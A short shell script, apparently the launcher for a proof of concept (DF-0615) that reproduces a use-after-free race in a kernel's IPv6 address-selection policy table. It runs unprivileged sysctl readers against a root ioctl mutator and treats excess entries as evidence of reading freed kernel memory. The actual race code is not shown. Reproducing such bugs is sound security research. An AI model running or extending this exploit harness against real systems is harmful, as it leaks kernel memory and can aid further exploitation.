#!/bin/sh
# DF-0615 run script. MUST be run as ROOT (it launches unprivileged readers
# via `su maxx` and runs the privileged mutator that issues
# SIOCAADDRCTL_POLICY/SIOCDADDRCTL_POLICY ioctls, gated by
# caps_priv_check_td(SYSCAP_RESTRICTEDROOT) at in6.c:510).
#
# Orchestrates the UAF race: 6 unprivileged sysctl readers vs 1 root
# policy-table mutator churning 64 entries. Within ~1-3 s the readers
# observe the table return MORE entries than can exist (real max 75:
# 9 RFC-3484 boot defaults + 64 churned + 2 slack) — proof they walked
# freed slab chunks (UAF read / info leak).
#
# Usage:  ./run.sh [duration_sec]
#         (default 16 s)
set -e
cd "$(dirname "$0")"
DURATION="${1:-16}"
if [ "$(id -u)" != "0" ]; then
    echo "run.sh must be run as root (it su's to maxx for the readers)" >&2
    exit 1
fi
./race.sh "$DURATION" 0